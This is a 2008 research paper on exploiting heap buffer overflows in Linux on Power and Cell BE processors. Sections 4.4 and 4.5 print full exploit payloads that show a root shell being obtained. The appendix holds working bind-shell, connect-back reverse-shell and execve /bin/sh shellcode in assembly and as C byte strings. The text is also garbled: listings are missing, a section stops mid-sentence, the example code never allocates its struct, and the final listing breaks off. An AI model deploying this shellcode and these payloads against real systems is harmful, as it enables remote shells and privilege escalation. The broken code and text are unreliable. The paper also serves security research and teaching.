Linux On Power/Cell BE Architecture Buffer Overflow Vulnerabilities
Linux On Power/Cell BE Architecture Buffer Overflow Vulnerabilities
Linux On Power/Cell BE Architecture Buffer Overflow Vulnerabilities
November 2008
Contents
1 Introduction 3
2 Power Architecture 4
4 Buffer overflows 8
4.1 Changing process execution flow . . . . . . . . . . . . . . . . 8
4.2 Overwriting a local variable in 32-bit mode . . . . . . . . . . 9
4.3 Overwriting a local variable in 64-bit mode . . . . . . . . . . 11
4.4 Overwriting a function pointer in 32-bit mode . . . . . . . . . 13
4.5 Overwriting a function pointer in 64-bit mode . . . . . . . . . 17
5 Assembly components 22
5.1 Shell execution code (shellcode) . . . . . . . . . . . . . . . . . 22
5.2 Network server code (bndsockcode) . . . . . . . . . . . . . . . 22
5.3 Network connect code (cntsockcode) . . . . . . . . . . . . . . 22
5.4 Find socket code (fndsockcode) . . . . . . . . . . . . . . . . . 22
6 References 23
7 Appendix 24
7.1 lin-power-bndsockcode.S . . . . . . . . . . . . . . . . . . . . . 24
7.2 lin-power-bndsockcode.c . . . . . . . . . . . . . . . . . . . . . 27
7.3 lin-power-bndsockcode64.S . . . . . . . . . . . . . . . . . . . . 29
7.4 lin-power-bndsockcode64.c . . . . . . . . . . . . . . . . . . . . 32
7.5 lin-power-cntsockcode.S . . . . . . . . . . . . . . . . . . . . . 34
7.6 lin-power-cntsockcode.c . . . . . . . . . . . . . . . . . . . . . 36
7.7 lin-power-cntsockcode64.S . . . . . . . . . . . . . . . . . . . . 38
7.8 lin-power-cntsockcode64.c . . . . . . . . . . . . . . . . . . . . 40
7.9 lin-power-fndsockcode.S . . . . . . . . . . . . . . . . . . . . . 42
7.10 lin-power-fndsockcode.c . . . . . . . . . . . . . . . . . . . . . 44
7.11 lin-power-fndsockcode64.S . . . . . . . . . . . . . . . . . . . . 46
7.12 lin-power-fndsockcode64.c . . . . . . . . . . . . . . . . . . . . 48
7.13 lin-power-shellcode.S . . . . . . . . . . . . . . . . . . . . . . . 50
7.14 lin-power-shellcode.c . . . . . . . . . . . . . . . . . . . . . . . 52
7.15 lin-power-shellcode64.S . . . . . . . . . . . . . . . . . . . . . . 54
7.16 lin-power-shellcode64.c . . . . . . . . . . . . . . . . . . . . . . 55
7.17 linux-power.h . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
2
1 Introduction
This article discusses buffer overflow vulnerabilities in Linux running on
Power/Cell Broadband Engine Architecture processor-based servers. All
examples presented on this article were developed and executed on an IBM
BladeCenter JS22 Express server, a IBM BladeCenter QS21 server, and a
Sony Playstation 3, running Red Hat Enterprise Linux 4 Update 7. Previous
knowledge of buffer overflows is required.
3
2 Power Architecture
The POWER (Performance Optimization With Enhanced RISC) Architec-
ture, originally developed by IBM, was introduced with the RISC Sys-
tem/6000 product family in early 1990. In 1991, Apple, IBM, and Mo-
torola, known as the AIM alliance, began the collaboration to evolve to the
PowerPC Architecture, expanding the architecture’s applicability. In 1997,
Motorola and IBM began another collaboration, focused on optimizing Pow-
erPC for embedded systems. At the end of 2004, the Power.org consortium
was launched, with the goal of developing community specifications and sup-
porting development tools that work together to facilitate integration and
enhanced implementations focused on the Power Architecture.
The Power Architecture is a open architecture defined by the Power
Instruction Set Architecture (Power ISA) maintained by the Power Archi-
tecture Advisory Council, which ensures compatibility amongst implemen-
tations and allows anyone to design and fabricate Power Architecture com-
pliant processors. The Xbox 360 processor and the Cell Broadband Engine
processor both give excellent examples of this.
A Power Architecture conforming processor implementation has four ba-
sic classes of instructions:
- Branch instructions.
- Vector instructions.
4
- The Link Register (LR) is a 64-bit register. It can be used to provide
the branch target address for the Branch Conditional to Link Register
instruction, and it holds the return address after Branch instructions.
Processors provide two execution modes, 64-bit mode and 32-bit mode.
In both of these modes, instructions that set a 64-bit register affect all 64
bits. The computational mode controls how the effective address is inter-
preted, how status bits are set, how the Link Register is set by Branch
instructions, and how the Count Register is tested by Branch Conditional
instructions. Nearly all instructions are available in both modes. In both
modes, effective address computations use all 64 bits of the relevant regis-
ters (General Purpose Registers, Link Register, Count Register, etc.) and
produce a 64-bit result. However, in 32-bit mode the high-order 32 bits of
the computed effective address are ignored for the purpose of addressing
storage.
All instructions are four bytes long and word-aligned. Thus, whenever
instruction addresses are presented to the processor (as in Branch instruc-
tions) the low-order two bits are ignored. Similarly, whenever the processor
develops an instruction address the low-order two bits are zero. Bits 0:5
always specify the opcode. Many instructions also have an extended op-
code. The remaining bits of the instruction contain one or more fields for
the different instruction formats.
A program references storage using the effective address computed by
the processor when it executes a Storage Access or Branch instruction, or
when it fetches the next sequential instruction. Bytes in storage are num-
bered consecutively starting with 0. Each number is the address of the
corresponding byte. The byte ordering (Big-Endian or Little-Endian) for a
storage access is specified by the operating system.
5
3 Cell Broadband Engine Architecture (CBEA)
The Cell Broadband Engine (Cell BE) processor is the first implementation
of a new multiprocessor family conforming to the Cell Broadband Engine
Architecture (CBEA). The CBEA is a new architecture that extends the
64-bit Power Architecture. The CBEA and the Cell BE processor are the
result of a collaboration between Sony, Toshiba, and IBM, known as STI,
formally begun in early 2001.
Although the Cell BE processor is initially intended for applications in
media-rich consumer-electronics devices such as game consoles and high-
definition televisions, the architecture has been designed to enable funda-
mental advances in processor performance. These advances are expected
to support a broad range of applications in both commercial and scientific
fields.
The most distinguishing feature of the Cell BE processor is that, al-
though all processor elements share memory, their function is specialized
into two types: the Power Processor Element (PPE) and the Synergistic
Processor Element (SPE). The Cell BE processor has one PPE and eight
SPEs.
The first type of processor element, the PPE, contains a 64-bit Power
Architecture core. It complies with the 64-bit Power Architecture and can
run 32-bit and 64-bit operating systems and applications. The second type
of processor element, the SPE, is optimized for running compute-intensive
SIMD applications; it is not optimized for running an operating system. The
SPEs are independent processor elements, each running their own individual
application programs or threads. Each SPE has full access to coherent
shared memory, including the memory-mapped I/O space. There is a mutual
dependence between the PPE and the SPEs. The SPEs depend on the PPE
to run the operating system, and, in many cases, the top-level thread control
for an application. The PPE depends on the SPEs to provide the bulk of
the application performance.
The most significant difference between the SPE and PPE lies in how
they access memory. The PPE accesses main storage (the effective-address
space) with load and store instructions that move data between main storage
and a private register file, the contents of which may be cached. The SPEs, in
contrast, access main storage with direct memory access (DMA) commands
that move data and instructions between main storage and a private local
memory, called a local store or local storage (LS). An SPE’s instruction-
fetches and load and store instructions access its private LS rather than
shared main storage, and the LS has no associated cache. This 3-level orga-
nization of storage (register file, LS, main storage), with asynchronous DMA
transfers between LS and main storage, is a radical break from conventional
architecture and programming models, because it explicitly parallelizes com-
putation with the transfers of data and instructions that feed computation
6
and store the results of computation in main storage.
7
4 Buffer overflows
4.1 Changing process execution flow
Similarly to the x86/x86 64 architectures, a given process’ execution flow in
Power/CBEA can be changed by the following.
8
4.2 Overwriting a local variable in 32-bit mode
This section discusses how a given process’ execution flow can be changed
by overwriting a local variable.
The following example is vulnerable to a heap-based buffer overflow.
Listing 1: example1.c.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
unsigned long cookie;
};
int
main(int argc, char **argv)
{
struct mystruct *s;
s->cookie = 0;
if (argc > 1)
strcpy(s->buffer, argv[1]);
if (s->cookie == 0x42424242) {
printf("Congratulations! You won a cookie!\n");
exit(EXIT_SUCCESS);
}
printf("Hello world!\n");
exit(EXIT_SUCCESS);
}
The above example does not validate user supplied data when copying it
to the buffer member of the previously allocated struct mystruct using
the strcpy function, resulting in a heap-based buffer overflow. Normal
execution of the above example writes the ”Hello world!” string to stdout.
9
$ ./example1
Hello world!
$
The following illustration represents the struct mystruct and its mem-
bers in the heap segment.
Lesser Greater
addresses addresses
struct mystruct
buffer cookie
[ ][ ]
Bottom of Top of
heap heap
$ ./example1 AAAAAAAAAAAAAAAABBBB
Congratulations! You won a cookie!
$
The following illustration represents the struct mystruct and its mem-
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
struct mystruct
buffer cookie
[AAAAAAAAAAAAAAAA][BBBB]
Bottom of Top of
heap heap
10
4.3 Overwriting a local variable in 64-bit mode
This section discusses how a given process’ execution flow can be changed
by overwriting a local variable in 64-bit mode. In the C language, only
long and pointer data types are changed between 32-bit and 64-bit modes.
Any pointer arithmetic should be performed using variables of type long
regardless if in 32-bit or 64-bit mode. Pointer assignment should only be
performed between other pointers or variables of type long.
The following example is vulnerable to a heap-based buffer overflow.
Listing 6: example2.c.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
unsigned long cookie;
};
int
main(int argc, char **argv)
{
struct mystruct *s;
s->cookie = 0;
if (argc > 1)
strcpy(s->buffer, argv[1]);
if (s->cookie == 0x4242424242424242) {
printf("Congratulations! You won a cookie!\n");
exit(EXIT_SUCCESS);
}
printf("Hello world!\n");
exit(EXIT_SUCCESS);
}
11
Listing 7: Overwriting the cookie member.
The following illustration represents the struct mystruct and its mem-
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
struct mystruct
buffer cookie
[AAAAAAAAAAAAAAAA][BBBBBBBB]
Bottom of Top of
heap heap
12
4.4 Overwriting a function pointer in 32-bit mode
This section discusses how arbitrary code can be executed by overwriting a
function pointer.
The following example is vulnerable to a heap-based buffer overflow.
Listing 9: example3.c.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
s->myfunc = printf;
if (argc > 1)
strcpy(s->buffer, argv[1]);
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
The following illustration represents the struct mystruct and its mem-
13
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[AAAAAAAAAAAAAAAA][BBBB]
Bottom of Top of
heap heap
$ gdb example3
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".
(gdb) r AAAAAAAAAAAAAAAABBBB
Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB
(no debugging symbols found)
(no debugging symbols found)
14
Listing 13: The struct mystruct in heap segment after the overflow.
15
Listing 15: Exploitation of listing 9.
$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ./example3 $(ruby -e ’print "A" * 16 + "\x10\x01\x18\x08" +
"\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18
\x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02
\xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61
\xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"’)
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#
The following illustration represents the struct mystruct and its mem-
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS]
| ^
|__________________|
Bottom of Top of
heap heap
16
4.5 Overwriting a function pointer in 64-bit mode
This section discusses how arbitrary code can be executed by overwriting
a function pointer in 64-bit mode. The Power 64-bit ELF ABI defines the
concept of function descriptors, which are contained in the .opd section of
the ELF file. Function descriptors are structures containing a pointer to
the function, a pointer to the TOC section, and an environment pointer
(used for languages such as Pascal). In a high level language the value of a
function symbol name is the address of a function descriptor instead of the
address of the function. Symbol names beginning with a dot (.) prefix are
reserved for the address of the function. The Power 32-bit ELF EABI does
not define function descriptors.
The use of function descriptors by the Power 64-bit ELF ABI requires
that changes be made to code that manipulates function addresses. In order
to access function addresses, the following code can be used.
The following illustration represents the struct mystruct and its mem-
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
17
struct mystruct
buffer myfunc descriptor
[AAAAAAAAAAAAAAAA][BBBBBBBB]
Bottom of Top of
heap heap
$ gdb example4
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".
(gdb) r AAAAAAAAAAAAAAAABBBBBBBB
Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB
(no debugging symbols found)
(no debugging symbols found)
Listing 21: The struct mystruct in heap segment after the overflow.
18
(gdb) x/24bx 0x10011010
0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
(gdb)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
FILE *fp;
s->myfunc = printf;
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
19
Also, to exploit this vulnerability in 64-bit mode, 64-bit mode assembly
components are needed.
A fake function descriptors block containing only its addr member can
be used followed by a NOP block to increase chances of a successful exploita-
tion. The difference between the NOP block and the fake function descrip-
tors block is fixed. If theses blocks are of the same size, then only one mod-
erated guess should be done, which is a pointer to a fake function descrip-
tor (0x0000000010011810, which implies that address 0x0000000010012810
will contain a NOP instruction).
$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ruby -e ’print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" +
"\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 +
"\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01
\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e
20
\xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38
\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"’ > exploit.txt
$ ./example4 exploit.txt
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#
The following illustration represents the struct mystruct and its mem-
bers in the heap segment after the overflow.
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc descriptor
[DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS]
| ^| ^
|_________||_________________|
fixed
Bottom of Top of
heap heap
21
5 Assembly components
The following assembly components are provided in the Appendix section
for use in Linux on Power/CBEA processor-based proof of concept codes.
These assembly components are part of UNIX Assembly Components for
Proof of Concept Codes project.
22
6 References
- POWER to the people
http://www.ibm.com/developerworks/power/library/pa-powerppl/
23
7 Appendix
7.1 lin-power-bndsockcode.S
/*
* $Id: lin-power-bndsockcode.S 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-bndsockcode.S - Linux Power/CBEA Network server code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-bndsockcode lin-power-bndsockcode.S
*
*/
#include "linux-power.h"
.globl main
main:
bndsockcode:
xor %r31,%r31,%r31
lil %r29,__CAL
# socket
cal %r28,-511+1(%r29)
cal %r27,-511+2(%r29)
stu %r31,-4(%r1)
stu %r28,-4(%r1)
stu %r27,-4(%r1)
mr %r4,%r1
cal %r3,__NC_socket(%r29)
cal %r0,__NC_socketcall(%r29)
24
.long 0x44ffff02
mr %r26,%r3
# bind
cal %r25,-511+16(%r29)
/*
* The following GPRs result in zeros when used with liu instruction.
* %r24, %r16, %r8, %r0
*
*/
liu %r23,0xff02
oril %r23,%r23,0x04d2
stu %r31,-4(%r1)
stu %r23,-4(%r1)
mr %r22,%r1
stu %r25,-4(%r1)
stu %r22,-4(%r1)
stu %r26,-4(%r1)
mr %r4,%r1
cal %r3,__NC_bind(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
# listen
stu %r31,-4(%r1)
stu %r31,-4(%r1)
stu %r26,-4(%r1)
mr %r4,%r1
cal %r3,__NC_listen(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
# accept
mr %r4,%r1
cal %r3,__NC_accept(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r21,%r3
0:
# dup2
mr %r4,%r27
mr %r3,%r21
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r27,%r27,-1
bge 0b
25
shellcode:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
26
7.2 lin-power-bndsockcode.c
/*
* $Id: lin-power-bndsockcode.c 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-bndsockcode.c - Linux Power/CBEA Network server code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define BNDSOCKPORT 58
27
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
28
7.3 lin-power-bndsockcode64.S
/*
* $Id: lin-power-bndsockcode64.S 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-bndsockcode64.S - Linux Power/CBEA Network server code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-bndsockcode64 lin-power-bndsockcode64.S
*
*/
#include "linux-power.h"
.globl main
main:
bndsockcode64:
xor %r31,%r31,%r31
lil %r29,__CAL
# socket
cal %r28,-511+1(%r29)
cal %r27,-511+2(%r29)
stdu %r31,-8(%r1)
stdu %r28,-8(%r1)
stdu %r27,-8(%r1)
mr %r4,%r1
cal %r3,__NC_socket(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r26,%r3
29
# bind
cal %r25,-511+16(%r29)
/*
* The following GPRs result in zeros when used with liu instruction.
* %r24, %r16, %r8, %r0
*
*/
liu %r23,0xff02
oril %r23,%r23,0x04d2
stu %r31,-4(%r1)
stu %r23,-4(%r1)
mr %r22,%r1
stdu %r25,-8(%r1)
stdu %r22,-8(%r1)
stdu %r26,-8(%r1)
mr %r4,%r1
cal %r3,__NC_bind(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
# listen
stdu %r31,-8(%r1)
stdu %r31,-8(%r1)
stdu %r26,-8(%r1)
mr %r4,%r1
cal %r3,__NC_listen(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
# accept
mr %r4,%r1
cal %r3,__NC_accept(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r21,%r3
0:
# dup2
mr %r4,%r27
mr %r3,%r21
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r27,%r27,-1
bge 0b
shellcode64:
30
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode64
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stdu %r5,-8(%r1)
stdu %r3,-8(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
31
7.4 lin-power-bndsockcode64.c
/*
* $Id: lin-power-bndsockcode64.c 31 2008-11-03 04:02:02Z ramon $
*
* lin-power-bndsockcode64.c - Linux Power/CBEA Network server code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define BNDSOCKPORT 58
32
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode64+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode64+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
33
7.5 lin-power-cntsockcode.S
/*
* $Id: lin-power-cntsockcode.S 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-cntsockcode.S - Linux Power/CBEA Network connect code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -o lin-power-cntsockcode lin-power-cntsockcode.S
*
*/
#include "linux-power.h"
.globl main
main:
cntsockcode:
xor %r31,%r31,%r31
lil %r29,__CAL
# socket
cal %r28,-511+1(%r29)
cal %r27,-511+2(%r29)
stu %r31,-4(%r1)
stu %r28,-4(%r1)
stu %r27,-4(%r1)
mr %r4,%r1
cal %r3,__NC_socket(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
mr %r26,%r3
34
# connect
cal %r25,-511+16(%r29)
/*
* The following GPRs result in zeros when used with liu instruction.
* %r24, %r16, %r8, %r0
*
*/
liu %r23,0x7f00
oril %r23,%r23,0x0001
lil %r22,0x04d2
stu %r23,-4(%r1)
stu %r22,-4(%r1)
st %r27,-2(%r1)
mr %r21,%r1
stu %r25,-4(%r1)
stu %r21,-4(%r1)
stu %r26,-4(%r1)
mr %r4,%r1
cal %r3,__NC_connect(%r29)
cal %r0,__NC_socketcall(%r29)
.long 0x44ffff02
0:
# dup2
mr %r4,%r27
mr %r3,%r26
cal %r0,__NC_dup2(%r29)
.long 0x44ffff02
ai. %r27,%r27,-1
bge 0b
shellcode:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
# cal %r0,__NC_execve(%r31)
cal %r0,__NC_execve(%r29)
.long 0x44ffff02
.asciz "/bin/sh"
35
7.6 lin-power-cntsockcode.c
/*
* $Id: lin-power-cntsockcode.c 30 2008-11-03 03:59:08Z ramon $
*
* lin-power-cntsockcode.c - Linux Power/CBEA Network connect code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
USA
*
*/
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
36
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
